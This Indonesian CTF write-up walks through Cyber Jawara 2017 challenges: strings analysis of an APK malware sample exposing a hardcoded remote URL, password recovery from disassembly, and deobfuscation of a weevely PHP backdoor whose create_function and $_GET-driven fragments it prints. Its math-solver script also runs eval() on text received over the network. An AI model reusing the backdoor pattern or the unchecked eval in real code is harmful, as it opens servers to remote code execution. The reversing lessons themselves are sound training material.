drwxrwxrwx 1 root root 136 Aug 31 18:43 assets
-rwxrwxrwx 1 root root 2151048 Jan 1 1980 classes.dex
-rwxrwxrwx 1 root root 21794692 Aug 30 15:26 FlightSimulator.apk
drwxrwxrwx 1 root root 152 Aug 31 18:43 lib
drwxrwxrwx 1 root root 0 Aug 31 18:43 META-INF
drwxrwxrwx 1 root root 528 Aug 31 18:43 res
-rwxrwxrwx 1 root root 6224 Jan 1 1980 resources.arsc
-rwxrwxrwx 1 root root 103 Aug 31 14:34 soal.txt
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $

Dari sini, saya blank. Karena saya tidak mengerti file apk. Karena ini adalah ctf,

SURABAYA HACKER LINK


saya mulai dengan melihat info masing-masing file.
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $ file AndroidManifest.xml
AndroidManifest.xml: Android binary XML
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $ file classes.dex
classes.dex: Dalvik dex file version 035
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $ file resources.arsc
resources.arsc: data
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $ exiftool
AndroidManifest.xml
ExifTool Version Number : 10.10
File Name : AndroidManifest.xml
Directory : .
File Size : 8.0 kB
File Modification Date/Time : 1980:01:01 07:00:00+07:00
File Access Date/Time : 2017:08:31 18:45:05+07:00
File Inode Change Date/Time : 2017:08:31 18:43:32+07:00
File Permissions : rwxrwxrwx
Error : Unknown file type
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $ exiftool classes.dex
ExifTool Version Number : 10.10
File Name : classes.dex
Directory : .
File Size : 2.1 MB
File Modification Date/Time : 1980:01:01 07:00:00+07:00
File Access Date/Time : 1980:01:01 07:00:00+07:00
File Inode Change Date/Time : 2017:08:31 18:43:33+07:00
File Permissions : rwxrwxrwx
File Type : DEX
File Type Extension : dex
MIME Type : application/octet-stream
Warning : Unsupported file type
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $ exiftool resources.arsc
ExifTool Version Number : 10.10
File Name : resources.arsc
Directory : .
File Size : 6.1 kB
File Modification Date/Time : 1980:01:01 07:00:00+07:00
File Access Date/Time : 2017:08:31 18:45:19+07:00
File Inode Change Date/Time : 2017:08:31 18:43:33+07:00
File Permissions : rwxrwxrwx
Error : Unknown file type
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $
Sampai sini, sebenernya saya tetap tdak mengerti file-file ini. Tetapi saya

SURABAYA HACKER LINK


tertarik dengan file classes.dex, karena warning “Unsupported file type”. Hal ini
karena dia berbeda dari yang lainnya.
Karena benar-benar blank, saya mulai melihat string file tersebut.

angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $ strings classes.dex


----snip----
p k>
p k>*
n {<
rhttp://203.34.119.230:1337/mCvplFIkd5Kq0anC83fmHQpX3fbBe3yAEmBfpaengDNRQyaH3X7Tpwk
j8UNn0IoLOBvsMdNNAd-WNhOry2ZxoOgXwT6wSj5j3xMXe4hvo5gK482UzWSd0zM4MG8kzXofSouai6yT2-
Gur3CiCMo52ulTl90eBPrEioj5e0axW7yxt5KbCk_K95yuKyQWqP6yzCuLXeE08k3gUS7NRr/
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
q A<2
p q<C
n0,>@
----snip----

Ada sebuah url di sana. Mari kita klik.

Taraaaaaaaaaaaaaaaaaaaa

Use your feel bro ;)

SURABAYA HACKER LINK


REVERSE ENGINEERING

Other

Temukan password untuk layanan ini.

nc cj2k17.ctf.idsirtii.or.id 3377

Written by Zezippa

SURABAYA HACKER LINK


Kita diberi sebuah file executable binary. Seperti biasa, lihat dulu filenya asli
binary kagak.

sarap@zezippa ~/Ctf/cyber_jawara_2017/Other $ file other


other: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=5c56e503470d401b915a5205af9845bff7e3778b, not stripped
sarap@zezippa ~/Ctf/cyber_jawara_2017/Other $

Ternyata asli. Lalu lihat strings.


sarap@zezippa ~/Ctf/cyber_jawara_2017/Other $ strings other
/lib64/ld-linux-x86-64.so.2
libpthread.so.0
htonl
htons
send
recv
flag.txt
Error File
Suip kang flag nya :
masih belum beruntung kang
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c

Ada sesuatu berkata flag.txt di sana. Kemudian objdump untuk melihat kira-kira
dimana flag.txt di gunakan.

sarap@zezippa ~/Ctf/cyber_jawara_2017/Other $ objdump -d other | grep ">:"


---snip---
0000000000400c20 <register_tm_clones>:
0000000000400c60 <__do_global_dtors_aux>:
0000000000400c80 <frame_dummy>:
0000000000400ca6 <main>:
0000000000400e05 <handler>:
0000000000401140 <__libc_csu_init>:
00000000004011b0 <__libc_csu_fini>:
00000000004011b4 <_fini>:
sarap@zezippa ~/Ctf/cyber_jawara_2017/Other $

Hanya ada 2 function: main dan handler. Sehingga function handler cukup
menarik. Kita lihat lebih lanjut dengan radare untuk mengetahui ada apa
dengan function handler.

SURABAYA HACKER LINK


sarap@zezippa ~/Ctf/cyber_jawara_2017/Other $ r2 -w other
-- How about a nice game of chess?
[0x00400bb0]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00400bb0]> pdf @ main
;-- main:
/ (fcn) main 351

Tidak ada hal menarik sebelum function handler di panggil. Sekarang kita lihat
function handler.
[0x00400bb0]> pdf @ sym.handler
/ (fcn) sym.handler 819
| sym.handler ();

Saya cut di bagian yang menarik saja. Pada gambar tersebut, terlihat command
untuk push data ke rbp. Data ini sangat menarik. Kenapa? Baca aja dari atas:
CJREVERSEPWN. Tentu saja sangat menarik.

Mari kita coba


sarap@zezippa ~ $ nc cj2k17.ctf.idsirtii.or.id 3377
Password nya Kang : CJREVERSEPWN

Suip kang flag nya : CJ2017{Ex!T_ReV_Go_To_L!n3}


Taraaaaaaaaaaaaaaaaaaa

Perhatikan kata-kata yang menarik dan dicoba. Siapa tau beruntung ;-)

SURABAYA HACKER LINK


REVERSE ENGINEERING

Obfuscated PHP Backdoor

Sebuah berkas PHP mencurigakan ditemukan di sebuah server. Anda harus


menganalisisnya.

Written by sohai

SURABAYA HACKER LINK


kita di berikan file obfuscated php, obfuscated itu tujuanya untuk mengacak
sebuah stuktur code agar sulit di baca oleh orang lain
nah untuk penampakanya bisa di lihat di gambar

kita rapihkan codenya agar mudah di analisa nah bisa dilihat di gambar

perhatikan bagian

$m='strFJ";$sl="str_replace"FJ;$iFJ=$mFJFJ[1FJ][0].$m[1][1];$h=$FJsl($ss(md5FJ($FJi.
$kFJh),0,3));$FJf=FJ$slFJ($ss(mdFJFJ5($i.$kf),0,3FJ)FJFJ);$p';
$n=substr($m, $_GET['a'], $_GET['b']);

disini ada parameter GET untuk mengakses nya dengan melempar nilai integer
dari setiap parameter get a & b, dengan mengabil string dari variable $m .
kalau di jalankan di browser bisa seperti ini
obfuscated.php?a=12&b=11 ,

misalnya nah tapi masih error nanti


kalau kita jadikan fungsi dia akan mengexekusi seperti ini
$n=substr($m, 12, 11);

nah untuk cara cepatnya saya perhatikan di bagian variable $m terdapat fungsi
familiar seperti str_replace. kenapa saya bisa menunjuk str_replace
dikarenakan pada bagian

$r=$n('C','','cCrCeate_CfuCCnCction');

variable $n di panggil lagi nah dia ngelempar 3 parameter seperti diketahui


str_replace menerima 3 parameter
oleh karena itu saya bypass langsung menjadi
$n="str_replace";
echo $F;

nah ada tambahan lagi saya selalu memberi comment seblum fungsi $V(); di
jalankan, dan bagian $F di display;

SURABAYA HACKER LINK


//$V=$r('',$F); // variable $r itu adalah create_function
//$V();
kemudian kita jalankan file obfuscated.php nya
bisa di lihat di gambar

nah kita rapihkan lagi seperti gambar4

nah bisa di lihat ada


if($rr&&$ra&&y($rf)=="`TU_KU_KcQQbQXeKMZPK[ZXeK_WUPPUQ_Ka_QK`TU_KcU`T[a`KWZ[cUZSKT[
cK`TQK[NRa_OM`U[ZKc[^W_"){
....
}

nah kita harus tentukan bagian


$r=$_SERVER;$rr=@$r["HTTP_REFERER"]; // kita bisa isi dengan domain
ctf.idsirtii.or.id
$ra=@$r["HTTP_ACCEPT_LANGUAGE"]; //kita bisa isi misal en-US,en;q=0.5 atau
terserah
$rf=@$r["FLAG"];

SURABAYA HACKER LINK


intinya bagian $rr dan $ra asal disi nilainya dia jadi true cuma nanti kita harus
analisa lagi di bagian selanjutnya nah untuk $rf nya
kita rada susah mencari kemungkinan yang ada oleh kerena itu kita bisa check
y($rf) dia memangil fungsi y diamana

function y($t){
$c=strlen($t);
$o="";
for($i=0;$i<$c;$i++){
$o.=chr(ord($t[$i])-20);
}return $o;
}

jadi besar kemungkinan kita tentuin key nya apa kemudian jika dia nilainya
sama dengan
`TU_KU_KcQQbQXeKMZPK[ZXeK_WUPPUQ_Ka_QK`TU_KcU`T[a`KWZ[cUZSKT[cK`TQK[NRa_OM`U[ZKc[^W
_
maka akan masuk ke statement if nya
oleh kerena itu kita coba bikin decrypt kalimat tersebut

manjadi

<?php
$en =
"`TU_KU_KcQQbQXeKMZPK[ZXeK_WUPPUQ_Ka_QK`TU_KcU`T[a`KWZ[cUZSKT[cK`TQK[NRa_OM`U[ZKc[^
W_";
print y2($en);
function y2($t){
$c=strlen($t);
$o="";
for($i=0;$i<$c;$i++){
$o.=chr(ord($t[$i])-20);
}return $o;
}

?>

SURABAYA HACKER LINK


kemudian kita jalankan seperti di gambar

nah di dapatkan string aslinya berupa

this_is_weevely_and_only_skiddies_use_this_without_knowing_how_the_obfusc
ation_works

SURABAYA HACKER LINK


REVERSE ENGINEERING

Read Assembly

Temukan password dari layanan ini dengan membaca disassembly-nya.

nc cj2k17.ctf.idsirtii.or.id 6001

Written by ashurin

SURABAYA HACKER LINK


Terdapat sebuah service yang berjalan di server dan meminta input berupa
password untuk mendapatkan flagnya. Untuk mendapatkan password yang
benar diberikan sebuah file txt yang berisi disassemble fungsi-fungsi pada
binary yang dijalankan.

Langkah yang harus dilakukan disini adalah dengan memahami alur pada hasil
disassemble fungsi-fungsi tersebut. Setelah dipahami, alur processnya adalah
sebagai berikut
➢ Pertama fungsi main akan memanggil fungsi init untuk menginisialisasi
buffer
➢ Kedua fungsi main akan memanggil fungsi check
➢ Ketiga fungsi main akan meminta user untuk memasukkan input (password)
lalu memanggil fungsi correct
➢ Keempat fungsi correct akan melakukan pengecekan terhadap password
yang dimasukkan oleh user
➢ Kelima, jika password yang dimasukkan benar (fungsi correct menghasilkan
benar) maka fungsi check akan memanggil fungsi get_flag dimana dalam
fungsi tersebut file flag akan dibaca dan ditampilkan.

Dari alur process tersebut yang harus di fokuskan adalah pada fungsi correct,
dan setelah dianalisa alurnya kami memperoleh passwordnya yaitu
XYPVMCJ2017. Rincian analisanya adalah sebagai berikut

4007e9: e8 a2 fe ff ff call 400690 <strlen@plt>


4007ee: 48 83 f8 0b cmp rax,0xb
4007f2: 74 0a je4007fe <correct+0x28>

Pertama terdapat pengecekan panjang string yaitu 0xb (11). Berarti panjang
inputan = 11. Buat dulu skema nya :
400802: 48 83 c0 05 add rax,0x5
400806: 0f b6 00 movzx eax,BYTE PTR [rax]
400809: 3c 43 cmp al,0x43

=> index ke 5 dari string yang dimasukkan dicompare dengan 0x43 atau
karakter C sehingga di dapat skema baru :
40081b: 48 83 c0 06 add rax,0x6
40081f: 0f b6 00 movzx eax,BYTE PTR [rax]
400822: 3c 4a cmp al,0x4a

=> index ke 6 dicompare dengan 0x4a atau huruf J, sehingga skema


berubah menjadi :
400834: 48 83 c0 05 add rax,0x5
400838: 0f b6 00 movzx eax,BYTE PTR [rax]
40083b: 0f be d0 movsx edx,al

SURABAYA HACKER LINK


40083e: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
400842: 0f b6 00 movzx eax,BYTE PTR [rax]
400845: 0f be c0 movsx eax,al
400848: 83 e8 15 sub eax,0x15
40084b: 39 c2 cmp edx,eax

=> Selanjutnya terdapat instruksi untuk mengambil index ke 5 dari string yang
dimasukkan yaitu huruf C (0x43) kemudian di kurangi dengan 0x15. Tetapi kami
berpikir disini jika dikurangi maka yang dihasilkan bukanlah huruf tetapi titik.
Kami berasumsi jika disini telah di edit yang seharusnya add menjadi sub.
Sehingga index 0 adalah 0x43+0x15=0x58 atau huruf X sehingga skema
menjadi X

40085d: 48 83 c0 01 add rax,0x1


400861: 0f b6 00 movzx eax,BYTE PTR [rax]
400864: 0f be d0 movsx edx,al
400867: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
40086b: 0f b6 00 movzx eax,BYTE PTR [rax]
40086e: 0f be c0 movsx eax,al
400871: 83 c0 01 add eax,0x1
400874: 39 c2 cmp edx,eax

=> selanjutnya index 1 di isi dengan eax+0x1 dimana eax berisi X


sehingga index 1 adalah 0x58+0x1 = 0x59 => (‘Y’). Menjadi : XY
400882: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
400886: 48 83 c0 02 add rax,0x2
40088a: 0f b6 00 movzx eax,BYTE PTR [rax]
40088d: 3c 50 cmp al,0x50

=> Kemudian index ke 2 dicompare dengan 0x50 atau huruf ‘P’.


Skema menjadi : XYP
40089f: 48 83 c0 03 add rax,0x3
4008a3: 0f b6 00 movzx eax,BYTE PTR [rax]
4008a6: 0f be d0 movsx edx,al
4008a9: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
4008ad: 0f b6 00 movzx eax,BYTE PTR [rax]
4008b0: 0f be c0 movsx eax,al
4008b3: 83 e8 02 sub eax,0x2
4008b6: 39 c2 cmp edx,eax

=> selanjutnya mengisi index ke 3 dengan nilai eax-0x2 dimana eax


berisi huruf X sehingga index 3 adalah 0x58-0x2=0x56 atau huruf V.
sehingga skema menjadi : XYPV

SURABAYA HACKER LINK


4008c4: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
4008c8: 48 83 c0 04 add rax,0x4
4008cc: 0f b6 00 movzx eax,BYTE PTR [rax]
4008cf: 0f be d0 movsx edx,al
4008d2: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
4008d6: 0f b6 00 movzx eax,BYTE PTR [rax]
4008d9: 0f be c0 movsx eax,al
4008dc: 83 e8 0b sub eax,0xb
4008df: 39 c2 cmp edx,eax

=> kemudian index ke 4 diisi dengan nilai eax-0xb, dimana eax berisi huruf X
sehingga index ke 4 akan berisi 0x58-0xb = 0x4d atau huruf ‘M’.
Skema menjadi : XYPVMCJ++++.
Dari sini kami berpikiran langsung karena terdapat huruf CJ maka kemungkinan
di ikuti dengan 2017. Selanjutnya kami memasukkan password tersebut dan
mendapatkan flagnya.
Dari alur process tersebut yang harus di fokuskan adalah pada fungsi correct,
dan setelah dianalisa alurnya kami memperoleh passwordnya yaitu
XYPVMCJ2017. Selanjutnya kami memasukkan password tersebut dan
mendapatkan flagnya.

SURABAYA HACKER LINK


MISC

Bonus Flag

Sepertinya ada bonus di EXIF gambar ini.

Format Flag: CJ2017{flag}

Written by hyda

SURABAYA HACKER LINK


Dalam Soal ini diberikan sebuah file berformat 7z untuk mengetahui apa isi dari
file tersebut kami mencoba untuk melakukan ekstrak

Terdapat zip lagi lalu kami ekstrak lagi untuk mengetahui isi filenya
Di dapati sebuah gambar ini

Kami merasa curiga dengan gambar ini kami coba caritahu exifnya karena di
soal terdapat clue Exif dengan exiftool

Taraa flagnya di temukan


Conclution :
Selalu gunakan Exiftool untuk mencaritau exifdata file tersebut yang bisa jadi
sebuah informasi tersimpan dalam exiftdata file tersebut

SURABAYA HACKER LINK


MISC

Getpass

http://203.34.119.226:1111/GetPass/

Written by SamMaEL

SURABAYA HACKER LINK


Tampilan awal web adalah seperti ini:

Disana kita diperintahkan untuk membongkar sebuah file binary getpass. Lagi
lagi sebuah file executable binary. Seperti biasa, pastikan dulu file tersebut
benar-benar binary.
david@shl ~/Ctf/cyber_jawara_2017/Getpass $ file GetPass
GetPass: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
tBuildID[sha1]=7105ba990cb93f73f360a6da337706b5a19d140a, not stripped
david@shl ~/Ctf/cyber_jawara_2017/Getpass $

Lalu strings... Tidak ada yg menarik pada hasil dump strings. Skip aja.
Mulai objdump
0000000000400646 <main>:
----snip----
40067b: 48 89 c6 mov %rax,%rsi
40067e: bf 73 07 40 00 mov $0x400773,%edi
400683: b8 00 00 00 00 mov $0x0,%eax
400688: e8 a3 fe ff ff callq 400530 <__isoc99_scanf@plt> (1)
40068d: 8b 45 f4 mov -0xc(%rbp),%eax (2)
400690: 3d e1 03 cb 01 cmp $0x1cb03e1,%eax (3)
400695: 74 0c je 4006a3 <main+0x5d>
400697: bf 76 07 40 00 mov $0x400776,%edi
40069c: e8 4f fe ff ff callq 4004f0 <puts@plt>
4006a1: eb 14 jmp 4006b7 <main+0x71>
4006a3: be d9 a4 65 00 mov $0x65a4d9,%esi
4006a8: bf 83 07 40 00 mov $0x400783,%edi
4006ad: b8 00 00 00 00 mov $0x0,%eax
4006b2: e8 59 fe ff ff callq 400510 <printf@plt>
---snip----

Tidak ada function lain selain main. Sehingga analisa cukup konsen di function
ini. Ketika file ini pertama kali dijalnkan, file meminta input. Salah satu function
input adalah scanf(). Perhatikan pada objdump diatas, yang saya tandai nomor
1. Function scanf dipanggil di sana. Di sini, meminta input passwod. Kemudian
(2) password dimasukkan ke sebuah variable pada rbp (eax). Lalu (3) adalah
function cmp (compare), membandingkan $eax dengan sesuatu di situ. Yap,
yang saya tandai merah. Jelas sekali itu adalah hexa. Sekarang kita decode.

SURABAYA HACKER LINK


david@shl ~/Ctf/cyber_jawara_2017/Getpass $ printf '%s\n' 0x1cb03e1
0x1cb03e1

Format string memberikan value yang tetap. Kemudian kita coba format
number.

david@shl ~/Ctf/cyber_jawara_2017/Getpass $ printf '%d\n' 0x1cb03e1


30082017

Sepertinya layak dicoba.

david@shl ~/Ctf/cyber_jawara_2017/Getpass $ ./GetPass


Masukan Key : 30082017
6661337
david@shl ~/Ctf/cyber_jawara_2017/Getpass $

Oke kita mendapatkan password. Mari kita coba di web.

Klik enter, 100x. Gak akan ada respon apa-apa. :v


Selow. Mari lihat source code nya. Saya potong baris berikut, dengan sedikit
pe-rapi-an
<script>
$(document).ready(function(){
$("#loaddata").click(function(){
txtname=$("#true").val();
txtlocation=$("#txtlocation").val();
$.post("post.php",{ name:txtname, location: txtlocation },
function(ajaxresult){
$("#postrequest").html(ajaxresult);
});
});
});
</script>
</head><body><div id="postrequest"></div><font color="green">Password :</font>
<input type="text" id="false"><br /><br><br><button id="loaddata">Enter</button>

Dari script tersebut, kita bisa mengetahui dat dikirim ke file post.php dengan

SURABAYA HACKER LINK


parameter nama dan location. Mari kita coba.

david@shl ~/Ctf/cyber_jawara_2017/Getpass $ curl


"http://203.34.119.226:1111/GetPass/post.php" --data
"name=6661337&location=localhost"
CJ2017{m!sC_r3v_postTRUE}
david@shl ~/Ctf/cyber_jawara_2017/Getpass $

jossssssssssssssssss

SURABAYA HACKER LINK


MISC

Random Math

nc cj2k17.ctf.idsirtii.or.id 3939

Written by Hananda

SURABAYA HACKER LINK


Kita hanya diberi sebuah services. Langsung kita coba.

han@linuxsec ~/Ctf/cyber_jawara_2017/Getpass $ nc cj2k17.ctf.idsirtii.or.id 3939


welcome to cyber jawara 2017
Masing-masing soal memiliki 1 poin.
Dapatkan 10 poin untuk mendapatkan flag. Waktumu hanya 30 detik.

No: (1) 2818 * 4307 => a


~~> a
(wrong)

No: (2) 2519 + 9143 => b


~~> b
(wrong)

No: (3) 9850 - 6379 => d


~~> d
(wrong)

No: (4) 3022 - 7399 => c

Dari pesan tersebut, kita harus menyelesaikan soal matematika dalam waktu
kurang dari 30 detik, atau timeout. Soal random. Sehingga kita harus jago
matematika untuk bisa solving dengan cepat dan tepat. Jika kita tidak jago
matematika, maka ngoding adalah satu-satunya alternative.

Kita harus membuat script untuk melakukan koneksi ke service tersebut, lalu
melakukan matematika dasar, dan dpt flag (jika benar semua).

Berikut script saya.

<?php

if(!$sock = socket_create(AF_INET, SOCK_STREAM, 0)) die("gagal create socket\n");


if(!$konek = socket_connect($sock, "cj2k17.ctf.idsirtii.or.id", 3939)) die("gagal
konek\n");
echo "koneksi oke\n";
while($line = socket_read ($sock, 1024)){
if(preg_match("/=>/",$line)){
$x = explode(" ",$line);
$c = "$x[2] $x[3] $x[4]";
$h = eval('return (' .$c.');')."\n";
socket_write($sock, "$h",strlen($h));
}

SURABAYA HACKER LINK


else{
print $line;
}
}

socket_close($sock);
?>

Mari kita coba

han@linuxsec ~/Ctf/cyber_jawara_2017/Random Math $ php -q math.php


koneksi oke
welcome to cyber jawara 2017
Masing-masing soal memiliki 1 poin.
Dapatkan 10 poin untuk mendapatkan flag. Waktumu hanya 30 detik.
~~> 27863984.0 (correct)
~~> 7514.0 (correct)
~~> -5158.0 (correct)
~~> -5346.0 (correct)
~~> 29212976.0 (correct)
~~> 11493.0 (correct)
~~> -2716.0 (correct)
~~> 5714.0 (correct)
~~> 23555826.0 (correct)
~~> 10257.0 (correct)
Score: 10
flag: CJ2017{SimPles0ck3tpro6rammingMadeItEAsy}

Yuhu.... Belajar ngoding dikit.

SURABAYA HACKER LINK


./EoF

Thanks for Reading

Credits:

TimHijau, Mendung Doank, Diebold, Nop88,


Kepler, Republic of Pwning, Kuripasai, ZIT,
Cimprodoy, <cencored-name>, InsyaAllah-*

:: SURABAYA HACKER LINK ::


.:: WWW.SURABAYAHACKERLINK.ORG ::.

SURABAYA HACKER LINK

Anda mungkin juga menyukai